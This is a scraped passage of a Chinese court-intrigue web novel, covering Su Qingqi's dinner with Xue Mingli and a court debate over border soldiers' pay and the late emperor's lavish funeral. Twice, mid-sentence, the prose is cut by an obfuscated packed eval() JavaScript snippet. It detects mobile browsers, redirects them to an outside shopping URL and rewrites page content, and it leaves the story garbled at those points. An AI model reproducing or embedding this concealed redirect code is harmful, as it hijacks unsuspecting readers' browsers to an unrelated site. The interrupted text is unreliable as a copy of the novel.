苏倾祈一笑,道:“既然是客人,那么便请入内一叙。” 敲了敲门,门后露出一张老态龙钟的脸,见了苏倾祈,话也不说,佝偻着脊背将二人引到了屋内。 “这位是?” 薛明理看向老者,眼中带着些探究。 老者不说话,张开嘴咿呀几声,苏倾祈看见了断得干干净净的舌根,她脚步一滞。 “大概是府上的管家吧。”苏倾祈淡淡开口。 二人对坐院中,老人为二人端上了几叠小菜和酒水便退下了。 苏倾祈一整天未进食,见了这些家常小菜,也没等薛明理动筷,自顾自吃了起来。 薛明理看她一眼,倒好酒,将酒杯推给她,道:“苏大人何事耽搁这么久?” 苏倾祈咽下嘴里的小菜,一整天都在灼烧的胃终于缓了下去,她没理他,端起酒杯,辛辣的酒水一路流入腹中,苏倾祈忍不住轻咳几声。 “没喝过酒?”薛明理慢条斯理喝了一口,道:“入口醇香,的确是好酒。” 苏倾祈道:“今日偶遇流民,便晚了些。” “伊家又在施粥?” 苏倾祈点头,想起伊宁离开前说的那些话。 薛明理道:“苏大人在衢州做了两年官,想来对衢州自然是十分了解。” 苏倾祈抬眼看他一眼,道:“薛大人也曾亲自去过衢州,必然也了解衢州,那地方也不算难懂。” 薛明理耸了耸肩,道:“苏大人口气倒是不小,今日伊家难道什么都未跟你讲?” “讲了又如何,不讲又如何?” 苏倾祈看不懂薛明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587525|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理这个人,明面上看去,她乃宦官一党,文官清流不同她划开距离,还举止自若地同她一起吃饭。 薛明理道:“讲了,你便是伊家人;不讲,你便是宦官一党。” 苏倾祈一笑:“这又有何分别?不过是从虎坑跳到狼坑罢了,薛大人既然问我,那么我也有问题想要问你。” “薛大人在朝堂上公然挑衅,现如今又来此试探,我且问,你为哪一党?” 薛明理不答,缓缓举杯喝下杯中酒,道:“衢州盐商一案,关系复杂,苏大人如今站在风眼中,难道没有一点不安?” 苏倾祈也喝了一口酒,暖融融的酒液流遍全身,她忍不住叹息一声,道:“若薛大人现在就拿刀架在我的脖子上,我兴许真的会害怕。” “可我如今只是一个小小经历,没有人会把我放在眼里,没有人会在意我。我更没有站在风眼中。” “任他风吹雨打,我自巍然不动。” 薛明理大笑一声:“死过一次的人,果然胆气不俗。” 苏倾祈闻言,瞥他一眼,没有反驳。今日早朝时她便明白,薛明理既然已经明白苏倾祈是假冒的,那么她的真实身份必然也会被查出来。 可她确实还是有些意外薛明理居然查得这么快。 “薛大人,不知道你有没有听过这么一个故事。相传世上有个酆都县,县中有一井,此井直通阴曹地府。” “此县百姓每年要向这井中投掷三千两,若是不投,那么必生瘟疫,百姓苦不堪言。” “国家苛捐杂税已是一笔巨款,可那井,却无法体谅百姓。” 苏倾祈往后仰头,空中阴云密布。 “薛大人,若是你,你愿意下到那枯井中,去往阴司求一个公平吗?” 薛明理道:“此事确实蹊跷,可鬼神之事总太过玄奇,未必为真。不若填了这井,那么百姓便不必再缴纳银钱。” 苏倾祈笑着看了薛明理一眼,道:“薛大人,可你知道那个故事里,酆都县令和他的幕客真的下了井,见到了阴司大人,阴司们巧言善辩,岔开话题,到最后,我也不知道这钱究竟能不能免。” “可那幕客,随口问出一句话,触怒阴司,阴司以天雷要了他的性命。” 薛明理沉默,苏倾祈道:“若薛大人执意填井,可最后却免不了一死,您还会填井吗?” 久久未能听到回答,苏倾祈自言自语道:“若是我,我便带着银票和木柴下到井内,一把火烧了那些银票,与那些个天官拼个鱼死网破。” “天恩难测,兴许我明日说错一句话,那么便会成为一具冰冷的尸。与其这样,不如玉石俱焚。我会带着火把烧光井下的那些尸体,谁也逃不掉。” 薛明理眼中毫无波澜,听着苏倾祈的这番话后,他牵起嘴角道:“你这番话,真是大逆不道。” “大逆不道?” “砰——” 惊雷响,大雨落下,天地顷刻间成了白茫茫的一片海。 苏倾祈仰起头,任由大雨狠狠打在她身上,喃喃道:“我就是要做这有违天道的事。” 12. 第十一章 翌日早朝,苏倾祈站在群臣之间。 身侧的卢本末轻声道:“昨日边关陈将军带着萧家小儿,奔袭数百里,风尘仆仆回京。我听说陛下原本在守陵,这二人愣是把陛下从皇陵中拽了出来。” 卢本末笑道:“听说陛下发了好大的火呢。” 苏倾祈抬眼看向龙椅上脸色阴沉的帝王,他正瞪着跪在大殿中央的两个人,难掩怒意。 “萧家小儿,是新任户部尚书的儿子?”苏倾祈问。 卢本末脸色立变,有些不悦道:“是,就是那萧思议的儿子萧辰,空有一身力气的莽夫,进不了朝堂,所以去了边关,做了个边野小将。” “原本三五年都不可能再回到京都,若不是此次大哥去往衢州,他爹顶了这个位置,他绝对回不来。” 边关处,车炜人进犯不断,可朝廷每一次出钱都要找尽借口,如今车炜人吞了一座城,到了分外紧急的时刻,堂上这几方人却还在互相推诿扯皮。 带萧辰回京的人是边关主将陈炳从,看上去就是一介粗人,眉眼总是皱着,颊上横着一道拇指长的旧伤。 可他如今赶着新任户部尚书的档口回到京都,也算是有勇有谋。 此刻,陈炳从正跪在地上,沉声讲着边关战况,他的声音带着边关荒凉的气息:“陛下,边关一小城于一月前被车炜人所占,那车炜人凶狠,占了城后将城中人屠尽,最后乘兴而归。” “可怜那小城中人,原本便因着这城黄沙环绕,和四周隔绝,百姓赚不到什么钱。那车炜人一过,这城便真成了鬼城。” 陈炳从说得投入,可苏倾祈看梁治光脸上竟满是不耐。 “边关发不出军饷,边军迎敌,皆是用些破铜烂铁。吃不饱饭,连带着军户家属都行将饿死。” “微臣此次回京,实乃不得已而为之,若军饷还能再撑一阵,我绝对不会开口要钱。” 众官员如山矗立两侧,无人面露不忍,跪在陈炳从身侧的少年颤抖几下,抬眼怯怯看了梁治光一眼。 “萧辰,你来说。”梁治光突然出声。 少年肩膀耸起,磕磕绊绊道:“是、是陛下……边关确实、确实没钱再战……” 陈炳从拍了拍萧辰的肩膀,道:“陛下,微臣未作假,若陛下不信,大可去看看边关账册。” 梁治光道:“陈炳从,你也是两朝老臣,朕当然是体谅你的,也明白你有你的难处。可昨日,你领着萧家小儿闯入皇陵,究竟将先帝放在哪里?你可有半点敬畏?” 陈炳从一顿,看向梁治光,沉默良久后,缓声道:“陛下,若是先帝尚在,那我便不必如叫花子一般来讨钱。” “你!”梁治光语塞,闭上眼道:“萧尚书,你来说。” 梁墨忍不住看了陈炳从一眼,此人是他一手提拔起来的人,才情出众,却对戍边卫国情有独钟。 承平年间,陈炳从曾经带着边关将士大破车炜人,将他们打到了离边关百里外的沙漠。 想当年,陈炳从脸上还没有那道疤,意气风发,策马游边关。 他确实是百年难得一见的良将。 如今落到这样的地步,梁墨亦有些唏嘘。 萧思议颤颤巍巍跪在地上,萧辰忍不住看向他,萧思议视若无睹,道:“陛下,户部今年共收上税银七百万两,岁已过半,先帝丧仪用上两百万两,宫中林林总总用上一百万两。” “关中大旱,救治灾民用上两百万两。如此加总,税银总共只剩两百万两,户部去岁有余,可加上这结余,今年剩下的不过二百五十万两。” “可岁只过半,下半年不知还会遇上何事,户部如今,真是出不起这笔钱。” 梁墨暗惊,景国曾有国训,上至人皇,下至富商,丧仪所用银两不可超过十万两。 他给自己造的皇陵,不过就是随便找了个土包刨了改出来的,前后用银不过五万两。 他死后,单单丧仪便用了两百万两,其中中饱私囊者几何?掩耳盗铃者又几何? “这钱你们出不了?”梁治光面色更沉。 萧思议叩首道:“陛下,此事并非微臣一力推脱,实乃天灾人祸不断,的确是无可奈何。” 梁治光当然明白萧思议的话,于是他转头看向和兼,道:“阁老,你怎么看?这钱究竟该怎么办?” 和兼端坐椅上,片刻后才回神道:“陛下,这钱的确该是户部出。” 梁治光吐出一口气,刚想下令,就听和兼继续道:“可是现如今,户部结余的钱只能用于突发事故,若是连目前的结余都用了,那么下半年,景国便当真成了一个空袋子,任谁都可敲打一番。” “因此,特事特办,这笔钱,户部不能出。” 一直跪着的陈炳从忍不住出声道:“可是阁老,若户部不出这笔钱,边关便也不用再打仗了,不如大开城门让车炜人攻进来——” “——陈大人。” 陈炳从话未说完,梁墨赶紧打断了他,道:“陈大人,您昨日日夜兼程,从边关直奔京都,连京都府邸都未回,便直接来上朝。怕是脑袋还不清醒,不如静一静心再说。” “阁老此话确实有道理,江南地带不出月余便要种植水稻,承平十二年六月,江南蝗灾肆虐,百姓苦不堪言。若今年蝗灾去而复返,户部却拿不出银子赈灾,江南百姓该如何?” 他这番话直接截住了陈炳从的话,可并不冒犯,相反,有理有据。 陈炳从不认识奚牧,却也听出这人是在帮自己说话,于是低头道:“阁老,是学生唐突了。” 堂前辩,本不认究竟谁更有理,而是看哪一方利益牵扯更深。若陈炳从口不择言说出些大逆不道的话,那么朝堂上这些恶鬼怕是会直接当堂扒了他的皮。 李元偏头看向梁墨,眼中带着怀疑。 梁治光皱眉,有些不悦地瞥了梁墨一眼。 “那阁老以为,此事究竟该如何解决?”梁治光耐着性子问。 和兼看他一眼,道:“这钱,该是陛下来出。” 此言一出,苏倾祈和梁墨共同抬起头,看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588273|205349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁治光。 苏倾祈在想,这会不会是和兼再次以此事为凭向梁治光发难。梁墨则是听出了些不同寻常的意思。 和兼为何如此笃定,臣下面对君主,竟没有一丝犹疑,这不对劲。 “呵。”梁治光一笑,道:“一个个都盯着内库的钱。” 堂下众臣静默,苏倾祈皱眉,她敏锐地察觉到,在这大殿之中,似乎所有人都默认了某种东西的存在。 可她却不知道。 卢本末在她耳边叹了口气,耳语道:“先帝丧仪两百万两,你道这钱究竟去了哪儿?” 苏倾祈猛然一惊,这钱既然进了梁治光自己的兜里,那么为何要牵上先帝? 国训在前,先帝却铺张浪费,这岂不是自掘坟墓? 果然,天家父子,从无真情。 “好。”梁治光一仰头,拍拍自己的腿,笑道:“陈炳从,我给你一百万两,如何?” 陈炳从嗫嚅几下,这笔钱用作军饷,简直是杯水车薪。可他眼角余光看见梁墨对他摇了摇头。于是陈炳从叩首道:“微臣,代边关万千将士与百姓,谢过陛下!” 下朝后,梁墨走出宫门,却见陈炳从正皱眉站在廊下,似乎是在等人。 “陈大人。”梁墨作揖。 陈炳从也回礼道:“今日多谢大人出手相助。” “无妨,大人心系百姓,且身先士卒,确是良臣,下官钦佩。” “敢问大人高姓大名?” 梁墨道:“司礼监秉笔,奚牧。” 本以为陈炳从听见这个名字,也会同其他人一样唯恐避之不及,可他却是恭恭敬敬行了个礼道:“原来是秉笔大人,下官不识,望秉笔大人莫要怪罪。” 梁墨释然,这人竟还和从前一样,根本不关心朝堂之事。 “大人,车炜人屠城,可有活口?” 承平年间,车炜人被牢牢挡在关外,屠城这种惨绝人寰的事情更是从未发生,此一遭,确实是给了梁墨不小的震动。 陈炳从点头:“援军来得还算早,剩了些被大人藏起来的孩子,可没了爹娘照顾,他们怕是难活好。” 梁墨沉思片刻,道:“若陈大人信得过我,不如将这些孩子送入京都,我来给他们提供饭食衣装,教他们读书写字。” 陈炳从一滞,有些难以置信地看向梁墨:“大人词话当真?那些孩子可怜,可我未婚娶,又常年待在军营内,本想多收养几个,可家中无人照料,遂只收养了一个男孩。” “城中的确还有些年纪尚小的孩子无人看顾,若大人真的愿意帮忙,可算是帮了我一个大忙。” “来日我必做牛做马还清这恩情。” 陈炳从眉眼间的忧愁总算散了些,梁墨将他送上马车,吩咐马夫从府上拿出两万两银票给他。 总归这些钱都是奚牧作奸犯科得来的,如今他已死,自己便替他多积些阴德吧。 吩咐完,梁墨一回头,发现李元正站在不远处看着他,不知道站了多久,不知道听到了什么。